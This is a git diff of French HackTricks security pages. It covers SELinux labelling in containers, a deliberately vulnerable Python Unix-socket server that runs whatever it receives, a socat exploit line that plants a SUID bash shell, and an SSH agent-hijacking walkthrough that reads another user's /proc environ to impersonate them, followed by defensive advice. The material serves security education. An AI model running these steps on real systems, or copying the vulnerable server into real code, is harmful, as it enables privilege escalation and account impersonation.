* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# SELinux dans les Conteneurs
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) est un **système d'étiquetage**. Chaque **processus** et chaque objet du **système de fichiers** a une **étiquette**. Les politiques SELinux définissent des règles sur ce qu'un **label de processus est autorisé à faire avec tous les autres labels** sur le système.
|
||||
|
||||
Les moteurs de conteneurs lancent les **processus de conteneurs avec un seul label SELinux confiné**, généralement `container_t`, puis définissent l'intérieur du conteneur pour être étiqueté `container_file_t`. Les règles de politique SELinux disent essentiellement que les **processus `container_t` peuvent seulement lire/écrire/exécuter des fichiers étiquetés `container_file_t`**. Si un processus de conteneur s'échappe du conteneur et tente d'écrire sur le contenu de l'hôte, le noyau Linux refuse l'accès et permet uniquement au processus de conteneur d'écrire sur le contenu étiqueté `container_file_t`.
|
||||
```shell
|
||||
$ podman run -d fedora sleep 100
|
||||
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
|
||||
|
@ -12,4 +27,19 @@ system_u:system_r:container_t:s0:c647,c780
|
|||
```
|
||||
# Utilisateurs SELinux
|
||||
|
||||
Il existe des utilisateurs SELinux en plus des utilisateurs Linux réguliers. Les utilisateurs SELinux font partie d'une politique SELinux. Chaque utilisateur Linux est mappé à un utilisateur SELinux dans le cadre de la politique. Cela permet aux utilisateurs Linux d'hériter des restrictions et des règles de sécurité et des mécanismes placés sur les utilisateurs SELinux.
|
||||
Il existe des utilisateurs SELinux en plus des utilisateurs Linux réguliers. Les utilisateurs SELinux font partie d'une politique SELinux. Chaque utilisateur Linux est mappé à un utilisateur SELinux dans le cadre de la politique. Cela permet aux utilisateurs Linux d'hériter des restrictions et des règles et mécanismes de sécurité appliqués aux utilisateurs SELinux.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,54 +1,69 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## Exemple de liaison de socket avec Python
|
||||
|
||||
Dans l'exemple suivant, un **socket Unix est créé** (`/tmp/socket_test.s`) et tout ce qui est **reçu** sera **exécuté** par `os.system`. Je sais que vous ne trouverez pas cela dans la nature, mais le but de cet exemple est de voir à quoi ressemble un code utilisant des sockets Unix et comment gérer l'entrée dans le pire des cas possible.
|
||||
Dans l'exemple suivant, un **unix socket est créé** (`/tmp/socket_test.s`) et tout ce qui est **reçu** va être **exécuté** par `os.system`. Je sais que vous n'allez pas trouver cela dans la nature, mais le but de cet exemple est de voir à quoi ressemble un code utilisant des sockets unix, et comment gérer l'entrée dans le pire des cas.
|
||||
|
||||
{% code title="s.py" %}
|
||||
```python
|
||||
import socket
|
||||
import os, os.path
|
||||
import time
|
||||
from collections import deque
|
||||
from collections import deque
|
||||
|
||||
if os.path.exists("/tmp/socket_test.s"):
|
||||
os.remove("/tmp/socket_test.s")
|
||||
os.remove("/tmp/socket_test.s")
|
||||
|
||||
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
server.bind("/tmp/socket_test.s")
|
||||
os.system("chmod o+w /tmp/socket_test.s")
|
||||
while True:
|
||||
server.listen(1)
|
||||
conn, addr = server.accept()
|
||||
datagram = conn.recv(1024)
|
||||
if datagram:
|
||||
print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
server.listen(1)
|
||||
conn, addr = server.accept()
|
||||
datagram = conn.recv(1024)
|
||||
if datagram:
|
||||
print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
**Exécutez** le code en utilisant python: `python s.py` et **vérifiez comment la socket écoute**:
|
||||
**Exécutez** le code avec Python : `python s.py` et **vérifiez comment le socket est à l'écoute** :
|
||||
```
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||
```
|
||||
**Exploitation**
|
||||
**Exploiter**
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,56 +1,71 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Résumé
|
||||
|
||||
Que pouvez-vous faire si vous découvrez dans la configuration `/etc/ssh_config` ou dans la configuration `$HOME/.ssh/config` ceci :
|
||||
Que pouvez-vous faire si vous découvrez ceci dans la configuration `/etc/ssh_config` ou dans `$HOME/.ssh/config` :
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
Si vous êtes root à l'intérieur de la machine, vous pouvez probablement **accéder à toute connexion ssh effectuée par n'importe quel agent** que vous pouvez trouver dans le répertoire _/tmp_.
|
||||
Si vous êtes root à l'intérieur de la machine, vous pouvez probablement **accéder à toute connexion ssh effectuée par un agent** que vous pouvez trouver dans le répertoire _/tmp_
|
||||
|
||||
Faites-vous passer pour Bob en utilisant l'un des ssh-agent de Bob :
|
||||
Usurpez l'identité de Bob en utilisant l'un des ssh-agent de Bob :
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## Pourquoi cela fonctionne-t-il?
|
||||
## Pourquoi cela fonctionne-t-il ?
|
||||
|
||||
Lorsque vous définissez la variable `SSH_AUTH_SOCK`, vous accédez aux clés de Bob qui ont été utilisées dans la connexion ssh de Bob. Ensuite, si sa clé privée est toujours là (normalement, elle le sera), vous pourrez accéder à n'importe quel hôte en l'utilisant.
|
||||
Lorsque vous définissez la variable `SSH_AUTH_SOCK`, vous accédez aux clés de Bob qui ont été utilisées dans sa connexion ssh. Si sa clé privée est toujours là (ce qui est normalement le cas), vous pourrez accéder à n'importe quel hôte en l'utilisant.
|
||||
|
||||
Comme la clé privée est enregistrée dans la mémoire de l'agent non cryptée, je suppose que si vous êtes Bob mais que vous ne connaissez pas le mot de passe de la clé privée, vous pouvez toujours accéder à l'agent et l'utiliser.
|
||||
Comme la clé privée est sauvegardée dans la mémoire de l'agent non chiffrée, je suppose que si vous êtes Bob mais que vous ne connaissez pas le mot de passe de la clé privée, vous pouvez quand même accéder à l'agent et l'utiliser.
|
||||
|
||||
Une autre option est que l'utilisateur propriétaire de l'agent et root peut accéder à la mémoire de l'agent et extraire la clé privée.
|
||||
Une autre possibilité est que l'utilisateur propriétaire de l'agent et root puissent accéder à la mémoire de l'agent et extraire la clé privée.
|
||||
|
||||
# Explication longue et exploitation
|
||||
# Explication détaillée et exploitation
|
||||
|
||||
**Extrait de:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
**Extrait de :** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
|
||||
## **Lorsque ForwardAgent ne peut pas être fait confiance**
|
||||
## **Quand ForwardAgent ne peut pas être considéré comme sûr**
|
||||
|
||||
SSH sans mots de passe facilite grandement la vie avec les systèmes d'exploitation de type Unix. Si votre réseau nécessite des sessions ssh en chaîne (pour accéder à un réseau restreint, par exemple), la redirection d'agent devient extrêmement utile. Avec la redirection d'agent, il est possible pour moi de me connecter depuis mon ordinateur portable à mon serveur de développement et de là, exécuter une vérification svn à partir d'un autre serveur, le tout sans mots de passe, tout en gardant ma clé privée en sécurité sur mon poste de travail local.
|
||||
SSH sans mots de passe facilite grandement la vie avec les systèmes d'exploitation de type Unix. Si votre réseau nécessite des sessions ssh en chaîne (pour accéder à un réseau restreint, par exemple), la redirection d'agent devient extrêmement utile. Avec la redirection d'agent, il est possible pour moi de me connecter depuis mon ordinateur portable à mon serveur de développement et de là, d'exécuter un svn checkout depuis un autre serveur, le tout sans mots de passe, tout en gardant ma clé privée en sécurité sur ma station de travail locale.
|
||||
|
||||
Cependant, cela peut être dangereux. Une recherche rapide sur le web révélera plusieurs articles indiquant que cela n'est sûr que si les hôtes intermédiaires sont dignes de confiance. Rarement, cependant, vous trouverez une explication de _pourquoi_ c'est dangereux.
|
||||
Cela peut être dangereux, cependant. Une recherche rapide sur le web révélera plusieurs articles indiquant que cela n'est sûr que si les hôtes intermédiaires sont dignes de confiance. Rarement, cependant, vous trouverez une explication du _pourquoi_ c'est dangereux.
|
||||
|
||||
C'est à cela que sert cet article. Mais d'abord, un peu de contexte.
|
||||
C'est l'objet de cet article. Mais d'abord, un peu de contexte.
|
||||
|
||||
## **Comment fonctionne l'authentification sans mot de passe**
|
||||
|
||||
Lors de l'authentification en mode normal, SSH utilise votre mot de passe pour prouver que vous êtes qui vous prétendez être. Le serveur compare un hachage de ce mot de passe à celui qu'il a enregistré, vérifie que les hachages correspondent, et vous laisse entrer.
|
||||
Lors de l'authentification en mode normal, SSH utilise votre mot de passe pour prouver que vous êtes bien qui vous prétendez être. Le serveur compare un hachage de ce mot de passe à celui qu'il a enregistré, vérifie que les hachages correspondent et vous laisse entrer.
|
||||
|
||||
Si un attaquant est capable de casser le chiffrement utilisé pour protéger votre mot de passe pendant qu'il est envoyé au serveur, il peut le voler et se connecter en tant que vous quand il le souhaite. Si un attaquant est autorisé à effectuer des centaines de milliers de tentatives, il peut finalement deviner votre mot de passe.
|
||||
Si un attaquant parvient à briser le chiffrement utilisé pour protéger votre mot de passe pendant son envoi au serveur, il peut le voler et se connecter en tant que vous quand il le souhaite. Si un attaquant est autorisé à effectuer des centaines de milliers de tentatives, il peut éventuellement deviner votre mot de passe.
|
||||
|
||||
Une méthode d'authentification beaucoup plus sûre est l'authentification par clé publique, une façon de se connecter sans mot de passe. L'authentification par clé publique nécessite une paire de clés publique et privée assorties. La clé publique chiffre des messages qui ne peuvent être déchiffrés qu'avec la clé privée. L'ordinateur distant utilise sa copie de votre clé publique pour chiffrer un message secret pour vous. Vous prouvez que vous êtes vous en déchiffrant le message à l'aide de votre clé privée et en renvoyant le message à l'ordinateur distant. Votre clé privée reste en sécurité sur votre ordinateur local tout le temps, à l'abri des attaques.
|
||||
Une méthode d'authentification beaucoup plus sûre est [l'authentification par clé publique](http://www.ibm.com/developerworks/library/l-keyc/index.html), une façon de se connecter sans mot de passe. L'authentification par clé publique nécessite une paire de clés publique et privée assorties. La clé publique chiffre les messages qui ne peuvent être déchiffrés qu'avec la clé privée. L'ordinateur distant utilise sa copie de votre clé publique pour chiffrer un message secret à votre intention. Vous prouvez votre identité en déchiffrant le message à l'aide de votre clé privée et en renvoyant le message à l'ordinateur distant. Votre clé privée reste en sécurité sur votre ordinateur local tout le temps, à l'abri des attaques.
|
||||
|
||||
La clé privée est précieuse et doit être protégée, donc par défaut elle est stockée dans un format crypté. Malheureusement, cela signifie entrer votre phrase de passe de chiffrement avant de l'utiliser. De nombreux articles suggèrent d'utiliser des clés privées sans phrase de passe (non cryptées) pour éviter cette inconvénient. C'est une mauvaise idée, car quiconque a accès à votre poste de travail (par accès physique, vol ou piratage) a maintenant également un accès gratuit à tous les ordinateurs configurés avec votre clé publique.
|
||||
La clé privée est précieuse et doit être protégée, donc par défaut elle est stockée dans un format chiffré. Malheureusement, cela signifie que vous devez entrer votre phrase secrète de chiffrement avant de l'utiliser. De nombreux articles suggèrent d'utiliser des clés privées sans phrase secrète (non chiffrées) pour éviter cet inconvénient. C'est une mauvaise idée, car quiconque ayant accès à votre poste de travail (par accès physique, vol ou piratage) a maintenant également un accès libre à tous les ordinateurs configurés avec votre clé publique.
|
||||
|
||||
OpenSSH inclut [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), un démon qui s'exécute sur votre poste de travail local. Il charge une copie déchiffrée de votre clé privée en mémoire, de sorte que vous n'avez à entrer votre phrase de passe qu'une seule fois. Il fournit ensuite un [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) local que le client ssh peut utiliser pour lui demander de déchiffrer le message crypté renvoyé par le serveur distant. Votre clé privée reste en sécurité dans la mémoire du processus ssh-agent tout en vous permettant de naviguer dans ssh sans taper de mots de passe.
|
||||
OpenSSH inclut [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), un démon qui s'exécute sur votre station de travail locale. Il charge une copie déchiffrée de votre clé privée en mémoire, de sorte que vous n'avez à entrer votre phrase secrète qu'une seule fois. Il fournit ensuite un [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) local que le client ssh peut utiliser pour lui demander de déchiffrer le message chiffré renvoyé par le serveur distant. Votre clé privée reste bien en sécurité dans la mémoire du processus ssh-agent tout en vous permettant de vous déplacer en ssh sans taper de mots de passe.
|
||||
|
||||
## **Comment ForwardAgent fonctionne**
|
||||
## **Comment fonctionne ForwardAgent**
|
||||
|
||||
De nombreuses tâches nécessitent des sessions ssh en chaîne. Considérez mon exemple précédent : je me connecte en ssh depuis mon poste de travail vers le serveur de développement. Là-bas, je dois effectuer une mise à jour svn, en utilisant le protocole "svn+ssh". Comme il serait stupide de laisser une copie non cryptée de ma clé privée super-secrète sur un serveur partagé, je suis maintenant bloqué avec l'authentification par mot de passe. Si, cependant, j'ai activé "ForwardAgent" dans la configuration ssh sur mon poste de travail, ssh utilise ses capacités de tunnelisation intégrées pour créer un autre socket sur le serveur de développement qui est tunnelisé de retour vers le socket ssh-agent sur mon poste de travail local. Cela signifie que le client ssh sur le serveur de développement peut maintenant envoyer des demandes de "déchiffrer ce message secret" directement à l'agent ssh en cours d'exécution sur mon poste de travail, s'authentifiant auprès du serveur svn sans jamais avoir accès à ma clé privée.
|
||||
De nombreuses tâches nécessitent des sessions ssh "en chaîne". Considérez mon exemple précédent : je me connecte depuis ma station de travail au serveur de développement. Là, je dois effectuer une mise à jour svn, en utilisant le protocole "svn+ssh". Puisqu'il serait absurde de laisser une copie non chiffrée de ma clé privée super-secrète sur un serveur partagé, je suis maintenant coincé avec l'authentification par mot de passe. Si, cependant, j'ai activé "ForwardAgent" dans la configuration ssh de ma station de travail, ssh utilise ses capacités de tunneling intégrées pour créer un autre socket sur le serveur de développement qui est tunnelé vers le socket ssh-agent sur ma station de travail locale. Cela signifie que le client ssh sur le serveur de développement peut maintenant envoyer des demandes de "déchiffre ce message secret" directement à l'agent ssh en cours d'exécution sur ma station de travail, s'authentifiant auprès du serveur svn sans jamais avoir accès à ma clé privée.
|
||||
|
||||
## **Pourquoi cela peut être dangereux**
|
||||
|
||||
En bref, toute personne disposant de privilèges root sur le serveur intermédiaire peut utiliser gratuitement votre ssh-agent pour s'authentifier auprès d'autres serveurs. Une démonstration simple montre à quel point cela peut être trivial. Les noms d'hôtes et d'utilisateurs ont été modifiés pour protéger les innocents.
|
||||
En résumé, toute personne disposant de privilèges root sur le serveur intermédiaire peut utiliser librement votre ssh-agent pour s'authentifier sur d'autres serveurs. Une simple démonstration montre à quel point cela peut être fait facilement. Les noms d'hôtes et d'utilisateurs ont été modifiés pour protéger les innocents.
|
||||
|
||||
Mon ordinateur portable exécute ssh-agent, qui communique avec les programmes clients ssh via un socket. Le chemin de ce socket est stocké dans la variable d'environnement SSH_AUTH_SOCK:
|
||||
Mon ordinateur portable exécute ssh-agent, qui communique avec les programmes clients ssh via un socket. Le chemin vers ce socket est stocké dans la variable d'environnement SSH_AUTH_SOCK :
|
||||
```
|
||||
mylaptop:~ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
||||
|
@ -63,19 +78,19 @@ Le programme [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) nou
|
|||
mylaptop:~ alice$ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
J'ai "ForwardAgent yes" dans le fichier \~/.ssh/config sur mon ordinateur portable. Ainsi, ssh va créer un tunnel reliant le socket local à un socket local sur le serveur distant :
|
||||
J'ai "ForwardAgent yes" dans le \~/.ssh/config sur mon ordinateur portable. Ainsi, ssh va créer un tunnel reliant le socket local à un socket local sur le serveur distant :
|
||||
```
|
||||
mylaptop:~ alice$ ssh seattle
|
||||
|
||||
seattle:~ $ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
|
||||
```
|
||||
Même si mes clés ne sont pas installées sur "seattle", les programmes clients ssh peuvent toujours accéder à l'agent en cours d'exécution sur ma machine locale :
|
||||
Bien que mes clés ne soient pas installées sur « seattle », les programmes clients ssh sont toujours capables d'accéder à l'agent exécuté sur ma machine locale :
|
||||
```
|
||||
seattle:~ alice $ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
Alors... Avec qui pouvons-nous jouer ?
|
||||
Alors... avec qui pouvons-nous jouer ?
|
||||
```
|
||||
seattle:~ alice $ who
|
||||
alice pts/0 2012-04-06 18:24 (office.example.com)
|
||||
|
@ -87,7 +102,7 @@ charlie pts/23 2012-04-06 13:10 (office.example.com)
|
|||
charlie pts/27 2012-04-03 12:32 (office.example.com)
|
||||
bob pts/29 2012-04-02 10:58 (office.example.com)
|
||||
```
|
||||
Je n'ai jamais aimé Bob. Pour trouver sa connexion d'agent, je dois trouver le processus enfant d'une de ses sessions ssh :
|
||||
Je n'ai jamais apprécié Bob. Pour trouver sa connexion d'agent, je dois trouver le processus enfant de l'une de ses sessions ssh :
|
||||
```
|
||||
seattle:~ alice $ sudo -s
|
||||
[sudo] password for alice:
|
||||
|
@ -97,58 +112,54 @@ sshd(16816)───bash(16817)
|
|||
|
||||
sshd(25296)───bash(25297)───vim(14308)
|
||||
```
|
||||
Il existe plusieurs façons pour root de visualiser l'environnement d'un processus en cours d'exécution. Sur Linux, les données sont disponibles dans /proc/\<pid>/environ. Comme elles sont stockées dans des chaînes de caractères terminées par NULL, j'utiliserai tr pour convertir les NULL en sauts de ligne :
|
||||
Il existe plusieurs méthodes pour que le root puisse voir l'environnement d'un processus en cours d'exécution. Sur Linux, les données sont disponibles dans /proc/\<pid>/environ. Comme elles sont stockées sous forme de chaînes terminées par NULL, j'utiliserai tr pour convertir les NULL en sauts de ligne :
|
||||
```
|
||||
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
|
||||
```
|
||||
J'ai maintenant tout ce dont j'ai besoin pour prendre le contrôle de l'agent ssh de Bob :
|
||||
Je dispose maintenant de toutes les informations nécessaires pour détourner le ssh-agent de Bob :
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
|
||||
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
|
||||
```
|
||||
Si j'ai une cible spécifique en tête, je devrais maintenant être en mesure de me connecter directement. Sinon, simplement en regardant la liste des processus ou en cherchant dans l'historique de Bob devrait présenter de nombreuses opportunités de cibles. Dans ce cas, je sais que Bob a toutes sortes de fichiers super secrets stockés sur le serveur nommé "boston":
|
||||
Si j'ai une cible spécifique en tête, je devrais maintenant pouvoir me connecter directement. Sinon, simplement observer la liste des processus ou chercher dans le fichier d'historique de Bob devrait présenter de nombreuses cibles d'opportunité. Dans ce cas, je sais que Bob a toute sorte de fichiers super secrets stockés sur le serveur nommé "boston" :
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
bob@boston:~$ whoami
|
||||
bob
|
||||
```
|
||||
J'ai réussi à utiliser mes privilèges root sur "Seattle" pour accéder en tant que Bob sur "Boston". Je parie que je peux l'utiliser pour le faire virer.
|
||||
|
||||
## **Protégez-vous !**
|
||||
|
||||
Ne laissez pas votre ssh-agent stocker vos clés indéfiniment. Sur OS X, configurez votre trousseau de clés pour se verrouiller après une période d'inactivité ou lorsque votre écran est verrouillé. Sur d'autres plates-formes Unix, passez l'option -t à ssh-agent afin que ses clés soient supprimées après un certain nombre de secondes.
|
||||
Ne laissez pas votre ssh-agent stocker vos clés indéfiniment. Sur OS X, configurez votre trousseau pour qu'il se verrouille après une période d'inactivité ou lorsque votre écran se verrouille. Sur d'autres plateformes de type Unix, utilisez l'option -t avec ssh-agent pour que ses clés soient supprimées après secondes.
|
||||
|
||||
Ne pas activer la transmission d'agent lors de la connexion à des hôtes non fiables. Heureusement, la syntaxe \~/.ssh/config rend cela assez simple :
|
||||
N'activez pas la redirection d'agent lors de la connexion à des hôtes non fiables. Heureusement, la syntaxe de \~/.ssh/config rend cela assez simple :
|
||||
```
|
||||
Host trustworthyhost
|
||||
ForwardAgent yes
|
||||
ForwardAgent yes
|
||||
```
|
||||
|
||||
```
|
||||
Host *
|
||||
ForwardAgent no
|
||||
ForwardAgent no
|
||||
```
|
||||
## **Lecture recommandée**
|
||||
## **Lectures recommandées**
|
||||
|
||||
* [Gestion des clés OpenSSH](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins
|
||||
* [Guide illustré de la redirection de l'agent SSH](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
|
||||
* [Manuel ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [Manuel ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
* [Guide illustré du transfert d'agent SSH](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
|
||||
* [manuel de ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [manuel de ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
